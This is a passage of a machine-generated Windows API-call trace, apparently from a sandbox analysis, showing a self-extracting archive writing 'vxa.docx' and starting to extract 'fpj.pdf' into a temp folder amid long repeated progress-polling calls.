lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.096] GetTickCount () returned 0x1fa45 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.096] GetTickCount () returned 0x1fa45 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.096] GetTickCount () returned 0x1fa45 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.096] GetTickCount () returned 0x1fa45 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.096] GetTickCount () returned 0x1fa45 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.096] GetTickCount () returned 0x1fa55 [0068.096] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.096] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.096] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.096] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.097] GetTickCount () returned 0x1fa55 [0068.097] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.097] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.097] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.097] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.097] GetTickCount () returned 0x1fa55 [0068.097] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.097] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.097] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.097] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.097] GetTickCount () returned 0x1fa55 [0068.097] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.097] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x25d, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x25d, lpOverlapped=0x0) returned 1 [0068.098] GetTickCount () returned 0x1fa55 [0068.098] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.098] SetFilePointer (in: hFile=0x1c, lDistanceToMove=863810, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd2e42 [0068.098] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.098] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.098] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.098] CloseHandle (hObject=0x138) returned 1 [0068.098] SetFileAttributesA (lpFileName="vxa.docx", dwFileAttributes=0x20) returned 1 [0068.099] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd2e42 [0068.099] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.099] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.099] OemToCharA (in: pSrc="fpj.pdf", pDst=0x179cc0 | out: pDst="fpj.pdf") returned 1 [0068.099] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="fpj.pdf", cchCount2=1) returned 1 [0068.099] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="fpj.pdf", cchCount2=6) returned 1 [0068.099] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="fpj.pdf", cchCount2=-1) returned 1 [0068.099] SetFilePointer (in: hFile=0x1c, lDistanceToMove=863854, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd2e6e [0068.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="fpj.pdf") returned 8 [0068.099] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a6b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.099] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting fpj.pdf") returned 18 [0068.099] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting fpj.pdf") returned 1 [0068.099] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.099] OemToCharBuffA (in: lpszSrc="f", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="f") returned 1 [0068.099] CharToOemBuffA (in: lpszSrc="F", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="F") returned 1 [0068.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="fpj.pdf") returned 8 [0068.099] FindFirstFileW (in: lpFileName="fpj.pdf", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.099] GetLastError () returned 0x2 [0068.099] GetFileAttributesA (lpFileName="fpj.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fpj.pdf")) returned 0xffffffff [0068.100] CreateFileA (lpFileName="fpj.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fpj.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.100] GetFileType (hFile=0x138) returned 0x1 [0068.100] SetFilePointer (in: hFile=0x138, lDistanceToMove=510, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1fe [0068.100] SetEndOfFile (hFile=0x138) returned 1 [0068.100] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.100] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x19c, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x19c, lpOverlapped=0x0) returned 1 [0068.100] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.100] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.100] GetTickCount () returned 0x1fa55 [0068.100] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.100] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.100] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.100] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.100] GetTickCount () returned 0x1fa55 [0068.100] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.100] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.100] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.100] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.100] GetTickCount () returned 0x1fa55 [0068.100] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.100] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.100] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.100] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.100] GetTickCount () returned 0x1fa55 [0068.100] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.100] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.100] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.100] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.100] GetTickCount () returned 0x1fa55 [0068.100] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.100] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.101] ReadFile (in: hFile=0x1c, lpBuffer=0x270424, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270424*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.101] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.101] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.101] GetTickCount () returned 0x1fa55 [0068.101] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 